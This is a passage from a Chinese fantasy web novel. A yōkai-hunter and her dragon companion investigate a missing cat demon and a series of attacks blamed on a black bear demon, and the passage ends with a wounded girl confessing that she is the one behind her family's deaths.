说罢,又从怀中掏出一叠整整齐齐的麻纸,双手呈上,说:“元宝的画像也已让画舫加急画好,请总镖头过目。没什么问题的话,就让大家到各家各户派发去了。”
冉青云远远瞧见那麻纸上似乎画着一只狸花猫。
看来是总镖头的爱宠走丢了。
风颢天接过画像,细细端详,点头道:“画师画工了得,确实和元宝一模一样,你们速速派发出去吧,画像下多提一行字——‘提供线索者重重有赏’。”
镖师领命退下,风颢天继续目不转睛地看着手中的画像,看着看着,眼眶竟湿润了。她哽咽着自言自语道:“元宝都失踪两天了,若他真被那黑熊妖吃了,那我……”说到此处,她潸然泪下,实在没办法继续说下去了。
冉青云听到“黑熊妖”三字,快迈出门槛的脚又收了回来。
正低着头紧跟在她身后的玄隐没收住步子,一鼻子撞上冉青云的头顶,鼻尖埋进了青丝中,只觉得异香扑鼻而来,急忙连连后退,羞红了脸,不由得心神荡漾起来。
冉青云却没注意
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到玄隐的少男心事,她正一门心思地想着黑熊妖的事情。
之前,她已拜托吴小山告诉捉妖会馆的人,天虞城的妖族都由她来管,好妖她护着,坏妖她捉拿,不许别人掺和。这大话已经放出去了,既然此事涉及到妖族,那她就不能不出手了。
她转身对风颢天说道:“风总镖头,本人师出玉清山庄,是一位捉妖师。若您爱宠失踪一事涉及妖族,那我也想出一份力。”
玉清山庄的名号,风颢天也有所耳闻,都说玉清山庄的捉妖师乃是全天下最嫉恶如仇的,绝不放过任何一只邪祟妖怪。她疑惑道:“天虞城里不都在说,香梅茶楼是人族和妖族一起合开的么?你身为香梅茶楼的东家,居然是玉清山庄的一位捉妖师?我还以为,玉清山庄的捉妖师都是见妖就杀的。”
冉青云摇摇头:“不论妖族好坏,不由分说地见妖就杀,那不是成了土匪么?我捉妖自然是只捉伤天害理的妖怪。”
风颢天听了,有些动容,擦擦眼角的泪说:“所言极是。若你能帮着找到元宝,那就真是太好不过了。”
她将手里的麻纸画像递给冉青云,说:“这是元宝的画像,不论能不能找着,我日后一定送上厚礼答谢。”
冉青云双手接过画像,玄隐也凑近过来,脑袋挤着脑袋,脸颊贴着脸颊,一起仔仔细细地查看这张画像。
只见画像中的狸花猫面颊宽阔,身宽体胖,通体斑纹,黄绿色的圆杏眼好似两颗翡翠玉石,眼尾延伸出又黑又粗的长眼线。
玄隐盯着画像看了好一会儿,只觉得这狸花猫似乎有些眼熟。
出了镖局,玄隐还将画像拿在手里,翻来覆去地观察,过了好一会儿,突然大声说道:“我想起来了!这是我的一位猫妖朋友!”
“猫妖?”冉青云又惊又疑,长风镖局总镖头的爱宠居然是一只猫妖?
玄隐点点头,说:“不知道你记不记得,当初在霍家村后山,我曾经和你说过,我认识一位猫妖朋友,他装作流浪猫碰瓷了镖局大小姐后,天天吃香的喝辣的,每次见面都要和我炫耀半天,讲‘装模作样半刻钟,荣华富贵一辈子’的大道理。画像上画的就是他,千真万确!他本来的名字叫阿彪,‘元宝’应该是镖局大小姐帮他起的名字。”
玄隐低声喃喃道:“几年没见,没想到他胖了这么多,我差点儿都认不出来了……”
原本以为只有一只黑熊妖,现在又牵扯到了一只猫妖,这猫妖还恰巧是玄隐的旧友,冉青云是不管不行了。
既然是有灵智的猫妖,那此事就不是简单的宠物走丢事件了。
元宝,或者说阿彪,往好了想,他或许被什么事情绊住了回不了家;但往坏了想,他甚至有可能已惨遭毒手了。
冉青云说出自己的猜想。
玄隐皱起眉头,瘪着嘴说:“阿彪打架很厉害的,若他真是被那黑熊妖打伤或者是害死了,那黑熊妖一定强得可怕。”
冉青云略一思忖,还是得先在周边调查调查,了解一下具体情况,才能够找到有关黑熊妖的线索。
30. 第三十回
长风镖局靠近天虞城东南角,它的南边只有一户宅院,冷冷清清的,院门上用木板打着补丁,门楣看着积了不少的灰。
冉青云敲了门,无人回应,只好往北走,去找长风镖局北边的居民问问情况。
紧靠着长风镖局北墙的那栋宅子则热闹得多,冉青云一走近就听见院子里传出一串嬉笑声。
她刚要敲门,身后就响起一声惊呼:“天呐!!”
闻声,她和玄隐双双转身看去,眼前是一位圆脸杏眼的少女,头戴一支镶金碧玉步摇,摇曳生姿,身穿一袭软蓝烟萝纱裙,逶迤拖地。她身后还跟着一位手提食盒的丫鬟。
少女一双杏眼瞪得圆溜溜的,两眼放光,不可置信地说:“我没看错的话,你们二位是香梅茶楼的冉老板和玄公子吧!”
玄隐还是第一次在大街上被陌生人认出来,一时有些不好意思,无措地说:“啊,确实是我,你好你好……”
少女激动地往前蹦了一大步,凑近了些,对着玄隐左瞧右瞧,夸道:“没想到你比显影石上看着还好看……我每天都看你演出,今天是走了什么好运,竟能亲眼见到你!”
冉青云心中有些莫名的不悦,不露声色地挡在玄隐面前,拱手问道:“请问你是……?”
少女这才如梦初醒,盈盈行了一礼,自报姓名道:“小女姓钱名荷珊,荷花的荷,阑珊的珊。”
她想起冉青云刚刚似乎是要伸手敲门,又问:“你们是要拜访金府么?我也正巧打算来金府做客。”
她往北指了指隔壁的宅子,说:“我家就住在隔壁,我家与金家是上百年的世交了。我领你进去!”
说着,她连门都没敲,伸手一推门,大大咧咧地走了进去,一边高声说:“你们猜猜谁来了?”
进了门,就瞧见一个小凉亭坐落于庭院一隅,凉亭中摆放着一套石桌石凳,挤挤挨挨地坐着好几位少男少女。
他们听见声音,抬头望了过来,看见钱荷珊身后的两人,皆猛地起身,长大了嘴,喃喃道:“香、香梅茶楼……”
钱荷珊颇有几分狐假虎威的得意,叉着腰说:“正是!我碰巧遇见他们二位,就领着他们进来了!”
凉亭内众人一拥而上,将玄隐团团围住,七嘴八舌地夸起来:
“他皮肤真好!离这么近看都一点儿瑕疵都没有!”
“我怎么觉得他比显影石上看着还俊美许多……”
玄隐原本就怕生,此时突然成为焦点,满脸通红,手足无措,最后“唰”的一声变回小黑蛟,溜进冉青云袖子里躲了起来。
见他化形,在场竟没有一个人害怕,反而情绪越发高涨,一下子炸开了锅,嘴里都嚷着“神奇”、“好玩”云云,甚至有人伸手想去摸摸小黑蛟。
冉青云只觉得叽叽喳喳的十分聒噪,有些不悦地抽回手,护住袖子里的玄隐。
一旁的木门里突然走出一个少年,一本正经地呵斥道:“吵吵闹闹的,这成何体统!我还在念书呢!”他穿着一身素袍,脑袋上还缠着绷带,脸色有些许憔悴。
钱荷珊扭过头一看,大喊了一声“金小华”,随即接过丫鬟手里的食盒,急冲冲走上前去,关切地问道:“你伤好些了么?我听爹爹说你被黑熊妖袭击了,我给你带了好多好吃的,你可要好好养伤呀!”
金小华原本板着个脸,一见钱荷珊,瞬间脸红如同火烧,从两颊蔓延到耳根,说话也磕磕巴巴起来:“我、我没什么大碍……小伤、小伤而已……”
听见“黑熊妖”三字,冉青云拨开将她围住的人群,走上前,对着金小华说:“不知能不能请您讲一讲遇袭的来龙去脉?”
她作揖道:“我其实不只是香梅茶楼的东家,还是一位捉妖师,师出玉清山庄,来这儿正是想问问黑熊妖的事情。”
全天下的百姓都知道一个不成文的规矩,若是遇上了捉妖师捉妖,或是驱鬼人驱鬼,定要全力配合他们的工作。捉妖师和驱鬼人皆是把脑袋拴在裤腰带上的营生,所图无非是保护百姓、除暴安良,只要有能帮得上的地方,大家都是尽力而为。
金小华领着钱荷珊和冉青云进了自己的书房,哦对,还有缠在冉青云手腕上的玄隐。
至于那群吵吵闹闹的自家哥哥姐姐们,金小华则冷酷无情地以无关人士禁止入内的名义将他们拒之门外。
玄隐盯着金小华的后脑勺看了一会儿,从冉青云的手腕沿着手臂一路爬到颈侧,在冉青云耳边说:“我能感觉到他包着绷带的地方有淡淡的妖气,他确实是被妖族伤的。”
金小华请冉青云和钱荷珊入座,替她俩倒了茶。
钱荷珊抿了一口茶,努了努嘴,用手指戳了戳金小华头上的绷带,说:“还算你福大命大,接了黑熊妖一掌还能捡回条命。”
金小华嘴硬道:“那是因为黑熊妖偷袭,若是它和我正面碰一碰,还说不得谁没命呢。”
钱荷珊噗嗤一声笑了,说:“怎么个碰一碰?你个书呆子,是念诗念死他,还是拿笔杆子戳死他?”
金小华底气不足,错开眼神,咳嗽两声清了清嗓子,对着冉青云讲起之前受伤的事儿:“我一向有挑灯夜读的习惯。三日前的一个晚上,夜深人静之时,我忽然听见后院的马厩有异响。于是,我提着灯,走到后院一看,发现马厩里的马儿都受伤倒地,昏迷不醒。我还没来得及喊人,后脑突然一阵剧痛,失去意识,晕了过去。”
冉青云问:“这么说来,你并没有看到凶手。那为何说是黑熊妖伤了你?”
金小华回答道:“因为第二日早晨,小厮发现我时,后院沙地上有好几个巨大的熊脚印。我猜想,定是那黑熊妖翻墙进来,伤了马儿后又伤了我,接着原路翻墙出去,逃之夭夭。”
他带冉青云到后院看了一眼。
马厩里还残存着些没清洗干净的血迹,马匹稀少,伤了腿的马儿都活不长久,只剩下几匹头或身子贴着纱布的伤马。
沙地上的几个熊脚印被木栏杆围了起来,金小华解释道:“这是来调查情况的捕头围住的,说是之后要去请捉妖师来看一看。”
冉青云还是觉得不对劲:“难道你当时没听到黑熊
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妖的脚步声吗?”
黑熊妖体型大,沉重的脚步声在寂静的深夜里应该很明显才是。
金小华摇摇头:“或许是那黑熊妖有走路悄然无声的本事,也可能是我惊恐之下没有注意到它的脚步声。”
钱荷珊插嘴道:“哎呀,肯定是那黑熊妖干的坏事,除了黑熊妖还能有谁?”
她忿忿不平地说:“这只黑熊妖残暴至极,杀人如麻!去年,葛氏全家去北岩山踏青,就被黑熊妖袭击了。除了从安和几位小厮之外,葛家一家老小都惨遭毒手,从安也摔断了腿,到现在都只能坐着轮椅呢。”
她这么一说,冉青云倒是想起来了,他们初入天虞城时,来香梅茶楼闹事的那位胖官差就说过,去年城里的富商葛老爷带着三妻四妾五六儿女去野外踏青,皆被山上的黑熊妖袭击吞吃了,只有年纪最小的女儿幸存。
看来这位葛从安就是葛家的小女儿。
金小华也补充说:“除了在荒山杀了人,那黑熊也不是第一次跑到城里袭击人了。十来天之前,葛家宅子就大半夜里被黑熊妖入侵过一次,院子里的鸡鸭鹅全被杀了个干净,门窗都被利爪挠烂了,血腥味散了好几天才淡去。”
冉青云问:“那天晚上有人亲眼目睹黑熊作案吗?”
钱荷珊摇摇头:“我听从安说,小厮丫鬟们都住在偏房,当晚没听到声响。她又腿脚不便,无法查看,更何况,她一个人怎么敢冲出去与黑熊妖对抗,当然是躲在卧房里不敢出声。”
金小华接着说:“自从黑熊妖袭击了葛家,连着好几天,都有人亲眼见到黑熊在东门外的山坡上朝着这附近张望,大家都说黑熊妖肯定是在找机会再次下手。果不其然,三天前我家就遭了殃。”
这么说来,虽然那葛从安葛小姐没有亲眼见到黑熊妖作案,却亲耳听到了。
冉青云问:“请问葛府位于何处?我想去拜访拜访葛小姐,问一问当夜的情况。”
钱荷珊手指往南一指,说:“长风镖局南边那个院子就是了。”
冉青云疑惑道:“我刚刚才去敲过那户人家的门,听着不像有人的样子……难道是葛小姐今天不在家?”
钱荷珊叹了一口气,垂头丧气地说:“自从去年葛家出了灭门惨案,安安原本定好的婚事也吹了,再加上她一双腿都废掉了,她就变得喜怒无常,一直闭门不出,除了自小一起长大的贴身丫鬟外,把其他丫鬟小厮全都遣退了。哪怕有人上门,也装作府中无人。”
她又说:“我和金小华两人都是自小和安安一起长大,也就只有我俩,她还是愿意见上一面的。我总疑心那黑熊妖跑到城里,是为了对葛家最后的血脉赶尽杀绝。我劝了好几回,让安安来我家住,至少我家里小厮侍卫多,多少安全一些。”
冉青云问:“那能麻烦你们带我去见见她么?除了问话之外,我还想看看她家院子受袭后的情况。”
钱荷珊想了想,最终还是点了点头:“好吧,虽说安安可能不太乐意见客,但是这毕竟是为了搜集线索。能早一日抓住那黑熊妖,我也早一日安心。”
31. 第三十一回
几人垫巴了几口钱荷珊带来的糕点吃食,晚膳都没吃,就直接出发前往葛府了。
此时已到申时,各家各户都到了用晚膳的时间,街上倒是冷冷清清。
出了金府,还走没两步,他们突然远远地看见街角有个巨大的黑色身影一闪而过,似乎正是那只黑熊妖!
街角可只有葛府一户人家呀!黑熊妖出现在街角,只可能是往葛府去了。
钱荷珊心系好友安危,对着黑熊妖大喝一声,拔腿就往葛府跑。
金小华面色铁青,显然是被突然出现的黑熊妖骇住了,但他见钱荷珊不管不顾地向前跑,一咬牙也紧随其后。
他俩都是富家少爷千金,没跑两步就气喘吁吁,按他们的速度,等跑到了葛府,黑熊妖都吃饱饭足开始剔牙了。
冉青云伸手将钱荷珊往怀里搂,又抓住金小华后领,带着两人施展轻功赶往葛府。
还没跑到葛府门口,钱荷珊已经扯开嗓子焦急地大喊起来:“从安!从安!你在家吗!你别怕!有捉妖师来帮你啦!”
葛府里安安静静的,没有回应。
冉青云只好高声喊了一句:“擅闯贵府,多有得罪!”接着便脚下一点,提溜着钱荷珊和金小华跃上院墙,纵身一跳,轻飘飘地落在了院子里。
经此“大起大落”,金小华吓得倒吸了一口冷气,脸色煞白,钱荷珊却顾不上那么多,环顾四周,提防着黑熊妖。
院子的沙地上果然有一串硕大的黑熊妖脚印,脚印从院墙下一直延伸到连廊,便失去了踪影。
想来是那黑熊妖翻墙入院,经过院子走上连廊,但连廊连通东西,地面铺着青石板,无法留下黑熊妖的脚印,不知他往哪个方向走了。
冉青云吩咐玄隐收敛妖气,正打算掏出寻妖罗盘,只听见东边厢房里传来一声高昂短促的尖叫,随后又是一声撕心裂肺的哭嚎:“别过来!!”
冉青云连忙施展轻功,带着钱荷珊和金小华,往东跑去。
在连廊的尽头,有一间小小的厢房,看上去有些破旧,此时正房门大开。
玄隐低声说:“这里妖气很浓!要小心!”
冉青云几人闯入厢房,只见一位脸色苍白的少女正跌坐在地,腹部已被鲜血染红,另一位丫鬟模样的少女泪眼婆娑,用手帕帮她紧紧地按住伤口。
钱荷珊见状,“哇——”的一声哭了,跌跌撞撞地跑上前,似乎是想搂住受伤的少女,又怕自己牵扯了她的伤口,伸了手又缩回,手无足措地蹲在她身旁,瘪着嘴哭:“安安……”
冉青云急忙问:“那黑熊妖呢?”
葛从安强撑着身子,伸出右手虚虚一指,指向了厢房的一扇窗户,弱弱地说:“他……他出了窗户,往北边跑了。”
那窗户东西朝向,窗外就是深巷。窗棂纸被划拉开了几道大口子,看着像是利爪所为。
冉青云一秒也不耽误,当即从窗户里跳出去,沿着巷子往北急奔,可从天虞城东南角的葛府一路跑到东门,别说黑熊妖了,是一根熊毛都没看见。她让玄隐收敛起妖气,掏出寻妖罗盘催动,铜针却一动不动,估计是那黑熊妖已经跑远了,无奈只好原路返回葛府。
回到葛府的东厢房,受伤的葛从安已躺在了床榻上,腹部的衣物被掀开,露出血淋淋的伤口来。钱荷珊和小丫鬟正用蘸了酒的毛巾,小心翼翼地帮她擦拭伤口。
那是几道整整齐齐的割伤,最长的足足有五六寸,最短的也有三寸左右,血肉模糊,看上去十分骇人。
见冉青云回来,钱荷珊着急地问道:“那黑熊妖呢?”
就连葛从安也强撑着半抬起身子,看向冉青云。
冉青云缓缓摇了摇头,说:“没有找到,好像是跟丢了。”
闻言,钱荷珊紧紧抿着嘴角,满脸的不安。葛从安也好似被抽走了全部力气,上半身跌回床榻,脸上血色全无,显然已是失血过多。
冉青云从乾坤袋中掏出一张符纸,将符纸夹在两指间,闭目观心,默诵引火诀。火光一闪,符纸“唰”的一声自燃了,符纸灰轻轻飘落到葛从安的伤口上。
冉青云说:“这只能暂时止止血,还是得等郎中来把她的伤口缝合一下。”
钱荷珊点点头:“金小华已经去喊郎中了,很快就能回来。”
话音刚落,厢房木门“砰——”的一声打开了,金小华风风火火地冲进来,喘得上气不接下气,后边还跟着一个同样上气不接下气的郎中。
郎中一看到葛从安皮开肉绽的伤口,倒吸一口冷气,说道:“这这这……这是遇见山匪了?怎么受了这么重的伤?”
钱荷珊哭哭嗒嗒地说:“是遇见黑熊妖了!”
郎中一惊:“黑熊妖的爪子居然这么锋利?我看创面这么整齐,还以为是刀子割的呢。”
他打开药盒,掏出缝合的针线,让钱荷珊和冉青云帮着压住葛从安,以防她因疼痛忍不住挣扎,不好缝合不说,还容易使得伤口再次撕裂。
随后,他将手帕团成一团,塞进葛从安嘴里,解释说:“这帕子是为了防止您咬着自己舌头的。过会儿可能会很疼,您且忍忍。”说罢便动手缝合起来。
没想到葛从安看着柔柔弱弱,却极其能够忍痛,痛得满头冷汗,却全程咬牙忍住,一声不哼。
钱荷珊看得心疼,眼泪又似断了线的珠子一般噼里啪啦地往下落。
缝合好伤口,又喂葛从安喝了一剂补血的猛药,她的脸色终于看上去稍微好了一些。
冉青云终于有机会好好问问有关黑熊妖的事儿。
葛从安看上去并不想多说,推辞说自己想休息了。但钱荷珊担心葛从安会再次被黑熊妖袭击,捉妖心切,哭唧唧地求葛从安配合调查。
葛从安耐不住她苦苦央求,终于回忆起来:“去年,我们一家老小去北荒山郊游。还没玩多久,突然出现一只黑熊妖,先是一爪子杀了我爹爹,又开始撕咬起其他人来。我逃跑时跌入山谷,摔断了腿,但也因此捡回一条命。”
北岩山无人问津的野山一律被简称为北荒山,北荒山人去的少,妖物自然就生活得多。
她接着说:“半个月前,黑熊妖又闯入葛府,在院子里一通乱闹后就走了。再然后,就是我今天被他重伤。其他的我就一点儿也不知道了。”
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>冉青云问:“你们在北荒山是偶然遇见那黑熊妖的么?当时发生了什么?”
葛从安摇摇头,说:“什么都没发生,那黑熊妖就突然出现了。”
她顿了顿,又说:“我认为,黑熊妖是专程来寻仇。”
“我爹一直喜欢去北荒山打猎,十年前,他曾经猎过一只黑熊妖,是一头母熊,将她剥了皮,制成一件上好的熊皮大衣。”
不少达官贵人就喜欢将妖兽扒皮制成皮袄,不单单为御寒,更为彰显武力或财力,虚荣炫耀罢了。
金小华忍不住嘟囔:“披着妖族的尸体在身上,也不嫌瘆得慌……”
再怎么样也不能当着女儿的面说她亡父的坏话呀。钱荷珊用胳膊肘杵了金小华腰间,金小华立马闭上嘴不说了。
葛从安却一点儿也不在乎金小华的冒犯,继续说:“或许那死去的母熊是如今这只黑熊妖的妈妈,他是来报杀母之仇的。”
冉青云却问:“可是,若他是专程来找葛家报仇的,三日前又为什么去金府伤了金小华?”
葛从安冷冷地说:“那我就不知道了。这不是你们应该调查的么?”
金小华提议:“最近不少人看到黑熊妖东门外的山坡上晃悠。不如这样,我们让从安当诱饵,到那山坡上将那黑熊妖引出来。”
“我才不要。”葛从安打断他的话,“就当我贪生怕死吧,这种危险的事情我一点儿也不想做。”
钱荷珊也赞同金小华的提议,说:“若是不早点抓住那黑熊妖,放任它到处伤人,岂不是更危险。到时有这位捉妖师在一旁护着,黑熊妖一出现,捉妖师就会捉住它,不会让你受伤的!”
葛从安固执地拒绝:“不管你们怎么说,我都不去。我腿脚又不好,若是捉妖师动作慢了些,我自己想跑都跑不了,不是白白送命么?”
钱荷珊还想再劝,冉青云却说:“无妨,不用葛从安当诱饵,我有办法。”
***
冉青云口中的办法,就是让千变万化的易容小达人白灿灿出手。
她回到香梅茶楼时,白灿灿正巧结束了直播。
冉青云把事情的来龙去脉告诉了白灿灿,拜托她帮忙。谁知,白灿灿却一点儿也不配合。
白灿灿怒形于色,扭过头去,说:“这个忙我不会帮的。有仇报仇,有怨抱怨,不是很正常么?我为什么要去插一脚?”
冉青云有些惊讶,先前白灿灿为了不让水鬼伤害百姓,连自己的命都顾不上,她不是这种袖手旁观的性子啊。
在一边旁听的纪映阳忍不住插嘴说:“不捉住黑熊妖,他继续害人怎么办?”
白灿灿大吼道:“那不是害人,是在报仇!凭什么他妈妈就白白给人家杀掉,还不许他报复?”
纪映阳被一吼,语气都弱上了三分,但还是小声说:“但葛小姐也是无辜的呀……”
白灿灿今日确实有些奇怪,似乎快控制不住自己的情绪了,眼眶一红竟潸然泪下。
纪映阳一愣,掏出帕子要帮她擦泪。
白灿灿却把他的手一甩,兀自回屋去了,留下冉青云和纪映阳两人面面相觑。
32. 第三十二回
居然又有妖族伤人事件了?三日前伤了金小华,下午伤了葛从安,今晚竟还作了案,这未免也太过频繁,就像有什么任务指标似的。
事不宜迟,那镖师在前带路,冉青云、白灿灿、纪映阳三人,外加盘在冉青云脖子上的玄隐,跟着他一起来到了一处农舍前。
进到院中,只见院中鸡笼散乱,只留一地鸡毛,农舍门窗残破,似遭利器毁坏。院子中央有一大滩黑血,血腥味扑鼻而来。旁边还扔着一把锄头,锄刃上淌着血,硕大的熊掌血脚印一直延伸往门外。
风颢天正带着人在宅子里四处搜寻,见他们来了,正色道:“有两人受伤昏迷,我已派人将他们安置在卧房了,郎中也看过了,上好了药,说或许休息一会儿就能醒过来。”
说着又指了指地上延伸到门外的血迹,说:“我猜,这血迹就是那黑熊妖的,估计是他被农户主人用锄头伤了之后慌乱逃窜,留下了血脚印。但我沿着脚印追了约莫一里地,脚印就消失了。”
白灿灿先前坚决不愿意帮忙抓捕黑熊妖,此时见到农舍里的惨状,脸色有些难看。
冉青云蹲在血脚印旁,低头细细查看,玄隐从冉青云衣领里探出头来,说:“血迹里的妖气很重,这毫无疑问就是妖族的血。”
既然现场留下了黑熊妖的血,那就好办了。她可以使用血追踪术,借新鲜的血液来追踪血液主人当日的踪迹。
她正要施法,一位镖师小跑着从屋里出来,对着风颢天单膝跪下,禀报道:“总镖头,有一位伤者已经醒了。”
在十二时辰以内,血追踪术随时都可以使用,就算黑熊妖逃到天涯海角也能找到他。现在不如先去听两位伤者讲讲遇袭的情况,多知道一些信息和线索,总比没头没脑地一通乱追好得多。
更何况,冉青云总觉得这其中多少有些古怪。
金小华遇袭当夜为何听不见黑熊妖的脚步声?
而今天下午葛从安明明说袭击她的黑熊妖跳窗往北跑了,为何冉青云往北追却没有追到?甚至连黑熊妖的影子都没看见。难道那黑熊妖的脚程能够比冉青云的轻功还快?
还有,若是那黑熊妖单纯是为了报葛家杀母之仇,只对着葛家出手就行了,又为什么会去伤害金小华和今天这户农家?总不能是因为杀人杀上瘾了吧?
疑云重重,先找伤者问问情况吧。
这户农舍只有一间茅屋,此时大伙儿一窝蜂涌进去,显得十分局促。
伤者是一对夫妻,丈夫尚在昏迷之中,妻子却已经醒了。
那农妇看上去二十七八岁年纪,皮肤黝黑,嘴唇已失了血色,头上绑着吸汗的头巾,头巾上溅了星星点点的血迹。她受的伤不算多重,多是些皮外伤,脖颈有几道细细的划痕,右肩肿得厉害,在衣服下鼓起一个不自然的包来。
风颢天心急如焚,开门见山地问:“你亲眼看到那黑熊妖了吗?”
她点了点头,声音颤抖,说出来的话却让众人大吃一惊:“若不是那黑熊妖出现,我和我汉子估计都没命了……”
什么?!是黑熊妖救的他们?
几人面面相觑。
冉青云问:“那你有看见凶手吗?”
农妇又点了点头,说:“有。是一只发了疯的狸花猫,和我这两日在告示上看到的寻猫画像上的那只猫长得一模一样。”
风颢天往前大迈一步,怒道:“不可能!我家元宝从来不伤人的!”
听她语气,似乎她完全不知道元宝是只猫妖,只当他是爱宠。
玄隐附到冉青云耳边,小声附和说:“我也觉得阿彪不会伤人。他一向很喜欢人类的,要不然也不会去碰瓷人族,死皮赖脸住到人类家里去了。”
但若真是猫妖伤人,金小华遇到袭击那天晚上没听到脚步声就可以解释了,因为猫足底有柔软的肉垫,是天然的消音器,金小华听不到脚步声也是情理之中。
更何况,黑熊妖若是只想报杀母之仇,根本没必要伤害金小华和这户农家,基于这一点,冉青云也更相信是猫妖作乱。
冉青云按住风颢天的肩膀,手下微微施力,安抚道:“别激动,先听听她说一说具体的情况。”
那农妇被风颢天这一吼吓了一大跳,再说起话来都有些磕磕巴巴的:“我、我和我汉子今晚早早熄了灯休息,突然听见屋外的鸡扑腾乱飞、咯咯乱叫。出门一看,就看到那狸花猫满嘴鸡毛鲜血,我汉子以为是野猫来偷鸡吃,拿了把锄头就要赶它出去。”
她接着说:“谁知那狸花猫见到我汉子之后,就好似疯了一样,突然不要命似的攻击起来。它跳得很高,力气又很大,几爪子就害得我汉子开膛破肚了。”
说到这儿,农妇哽咽起来:“我汉子他、他倒下以后,我怕他被狸花猫撕碎啃食,就冲了上去,捡起掉在地上的锄头,挡在我汉子身前,想着就算死么,也一定要和他死在一起。那狸花猫果真炸着毛就朝我直冲过来。就在这时,一头黑熊突然跃墙跳了进来,跑到我身侧,我大惊之下,挥着锄头砍中了那黑熊的腿。”
“那狸花猫原本想冲着我脖子来了一爪,那黑熊却一掌拍在我右肩,把我推开,我身子一歪,避过了致命一击,就只受了一点儿擦伤。”她指了指咽喉的几道划伤和受伤肿大的肩头,继续说,“那黑熊明明是来救我,却被我误伤,也不生气,反而转身问了我一句‘没事吧’。我听她开口说话,才知道这原来是一只黑熊妖。”
风颢天拧眉急道:“那猫呢?”
农妇如实回答:“那只猫见黑熊妖来了,转身就跑。黑熊妖拖着摔伤腿,也追着它跑出去了。”
她将场景说得如此细致,不似是在撒谎。
但风颢天还是不信,喃喃道:“怎么可能呢?元宝为什么要去伤人?元宝连逗猫棒都抓不着,又怎么伤得了人呢?我实在想不明白……”
她转身对着农妇行了一礼,说:“你们安心养伤,诊金药费都由我来出。若真是家猫伤了你们,我定押着他,带上重礼来赔罪。”
玄隐也小声嘟囔:“我也想不明白,他为啥吃香喝辣的好日子不过,要铤而走险去当土匪呀?”
冉青云拍拍风颢天的肩,说:“先找到他们再说吧,到时
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你亲口问问他就好了。”
风颢天看向冉青云,发红的眼眶里已蓄满了泪,她问:“你这么说,是不是已有办法可以找到他们?”
冉青云点点头,走到农舍门口,用大拇指蘸了些黑熊妖的血液,点在自己眉心,凝心闭目,意守百会穴,默念道:“元皇正气,来合我身,雷门十二,天眼尽开!”
她额头上的血迹隐隐泛起微光。
再睁开眼时,她清楚地看见,一道清清楚楚的青色妖气,从门口蜿蜒着延伸到远方,这就是黑熊妖失血后的行走路线了。
冉青云施展轻功,顺着妖气的痕迹追了上去,每踏一步,三步开外的妖气痕迹就发出亮光,指引着前行的方向。
风颢天是长风镖局的总镖头,自小习武练功,轻功也十分了得。此时她心急如焚,脚下一点,欺身向前,紧随其后。
白灿灿不会轻功,只好让纪映阳背在身后。但白灿灿还记着自己方才刚和纪映阳闹了不愉快,此时趴在他背上也不情不愿的,下半身迫不得已地贴在他背上,上半身则竭尽所能地往后撅出了三里地。
纪映阳只好语气夸张地哄道:“灿灿,还是你有先见之明,没想到黑熊妖真是一只好妖!说不定当初葛家出事,黑熊妖也是被冤枉的。”
白灿灿很是受用,靠在他背上,哼了一声,说:“就算葛家出事是他干的,我也觉得他一点儿没做错。杀了他妈妈就要偿命,这本来就是天经地义的呀!”
纪映阳连连说是,见白灿灿终于愿意坐稳,双腿一蹬,加速追上冉青云。
***
众人沿着妖气一路走街串巷,最后出了天虞城东门,跑城外的山坡上,钻进小树林里左绕右绕了一通,又绕回了城门口。
冉青云猜测:“估计是黑熊妖追到树林里就跟丢了,绕了一圈又跑回天虞城。”
毕竟猫妖身子小,在树林和灌木丛里容易藏身,再加上行走跑步时悄然无声,能追得上反而是难事。
算了,至少先找找黑熊妖去哪儿了吧。
于是,众人只好继续沿着妖气往回走。妖气痕迹一路蜿蜒,最后竟停在了葛氏府邸东墙外,也就是葛从安所住的东厢房窗外。
难道是那黑熊妖受了重伤后,临死之前还要来找葛从安报仇?
突然,屋内传来一声少女痛苦的抽气声。
冉青云来不及多想,纵身一跃,从窗子跳进了厢房。
在她身后,风颢天和背着白灿灿的纪映阳也毫不犹豫跟着她依次跳了进去。
本就不大的厢房里突然从天而降了好几个人,几乎站满了半个房间。
房间的另一头,黑熊妖正躺在床上,床边葛从安和小丫鬟一个收纳纱布、一个手拿草药,正在给黑熊妖包扎。
听到声响,两人一熊齐刷刷扭头,脸色登时大变。
葛从安想挡在黑熊妖身前,慌张之下,竟一个不慎从轮椅上摔了下来。
床上的黑熊妖不顾脚伤,连忙起身去拉她,惊叫道:“安安姐姐!”一张嘴竟然是娇滴滴的女孩声音。
怎、怎么回事?
33. 第三十三回
黑熊妖毛茸茸的爪子拉住了葛从安的左臂,稳住了她的身子。葛从安虽然还是从轮椅上摔落,却不至于摔个头朝地,磕破了脑袋。
但黑熊妖的利爪太过锋利,一个不慎就就擦破了葛从安的衣袖,衣袖裂口处露出葛从安被抓得泛红的皮肤。
黑熊妖急忙松开爪子,懊恼地说:“对不起!我、我力气太大了……”
葛从安反手握住她的爪子,安抚道:“我不疼,小黑别怕。”
葛从安腹部还缠着一圈一圈密密的绷带,这么一拉一扯间,伤口开裂,绷带上渗出红色的血迹。
见状,冉青云恍然大悟,对葛从安说:“你的伤口并不是被黑熊妖袭击所致,相反,这是你为了帮助黑熊妖逃走的苦肉计。”
她继续解释道:“今日下午,你听见我们追着黑熊妖闯入的声音,故意高声尖叫吸引注意力,让我们往东厢房跑,又用刀划破自己的肚子,制造出被黑熊妖袭击的假象,给我指了错误的方向,好让黑熊妖有足够的时间从西边逃走。”
没想到她一个及笄不久的女孩,竟能对自己下此狠手。
风颢天不可置信地问:“可、可是,这黑熊妖不是杀了你一家……”
葛从安抬眸看向她,冷冷地说:“是我让她杀的。”
说罢,她拖着没有知觉的双腿往前挪动了一步,双手撑地,额头重重地磕在粗糙地面上,说:“我有罪,要杀要剐我都认了。但小黑年纪小,不过是受我教唆才犯了错,求你们放她一条生路。”
黑熊妖一脸局促,伸爪想把葛从安从地上扶起来,喃喃道:“不,不是的……”
小丫鬟也已泪眼婆娑,并排在葛从安身边跪下,连连磕头:“不怪小姐,小姐也是被逼无奈,要不是……”
葛从安打断了她的话,说:“没必要说这些,我身上背着葛家七条人命,这确实是事实。”
她扭头定定地看向走在最前面的冉青云,说:“你抓我去官府吧,我认罪。”
冉青云却摇摇头:“罪又不是你认了就算数,要讲证据的。你不把来龙去脉说清楚,我们怎么能知道你是不是顶罪?”
可葛从安抿紧了嘴,没有开口。
